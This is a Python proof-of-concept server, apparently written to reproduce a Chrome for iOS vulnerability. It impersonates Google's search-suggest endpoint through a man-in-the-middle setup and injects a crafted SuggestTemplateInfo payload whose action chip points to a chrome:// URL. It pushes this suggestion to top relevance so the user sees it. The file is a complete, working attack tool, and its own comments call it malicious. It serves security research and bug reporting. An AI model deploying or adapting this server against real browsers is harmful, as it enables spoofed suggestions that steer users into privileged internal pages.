#!/usr/bin/env python3
"""
Malicious Google-Suggest-compatible server.

Serves the standard Suggest JSON wire format
( https://www.google.com/complete/search?... ) but injects a
SuggestTemplateInfo proto whose TemplateAction.action_uri points to a
chrome:// URL.

Intended to be used as a MITM substitute for the Google suggest endpoint
when reproducing on iOS Chrome. The action chips are only attached when
the default search engine is Google
(base_search_provider.cc: `is_google` gate), so this server cannot simply
be configured as a custom search engine — it must impersonate the Google
suggest endpoint via network override / TestURLLoaderFactory / proxy.

Usage:
    python3 server.py [port]
"""

import json
import sys
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs

from gen_payload import encode_suggest_template_info, REVIEWS
import base64

TARGET_URI = "chrome://version"

# Base64 of SuggestTemplateInfo{ action_suggestions: [
#   { action_uri: TARGET_URI, action_type: REVIEWS } ] }
SUGGEST_TEMPLATE_B64 = base64.b64encode(
    encode_suggest_template_info(TARGET_URI, REVIEWS)
).decode("ascii")


def build_response(query: str) -> str:
    # Standard Google Suggest wire format:
    # [ query, [suggestions], [descriptions], [], { extras } ]
    body = [
        query,
        ["best pizza near me"],
        ["Tap the Reviews chip"],
        [],
        {
            # ENTITY type so it goes through the SuggestResult path that
            # decodes google:suggesttemplate.
            "google:suggesttype": ["ENTITY"],
            "google:suggestrelevance": [9999],
            "google:verbatimrelevance": 0,
            "google:suggestdetail": [
                {
                    "google:suggesttemplate": SUGGEST_TEMPLATE_B64,
                }
            ],
        },
    ]
    return json.dumps(body)


class Handler(BaseHTTPRequestHandler):
    def do_GET(self):  # noqa: N802
        parsed = urlparse(self.path)
        params = parse_qs(parsed.query)
        # Chrome sends the user's text as q=
        query = params.get("q", [""])[0]
        payload = build_response(query).encode("utf-8")

        self.send_response(200)
        self.send_header("Content-Type", "application/json; charset=utf-8")
        self.send_header("Content-Length", str(len(payload)))
        self.end_headers()
        self.wfile.write(payload)

    def log_message(self, fmt, *args):
        sys.stderr.write("[suggest] " + (fmt % args) + "\n")


def main() -> None:
    port = int(sys.argv[1]) if len(sys.argv) > 1 else 8080
    httpd = HTTPServer(("0.0.0.0", port), Handler)
    sys.stderr.write(
        f"Serving malicious suggest responses on http://0.0.0.0:{port}/\n"
        f"Injected action_uri = {TARGET_URI}\n"
        f"google:suggesttemplate = {SUGGEST_TEMPLATE_B64}\n"
    )
    httpd.serve_forever()


if __name__ == "__main__":
    main()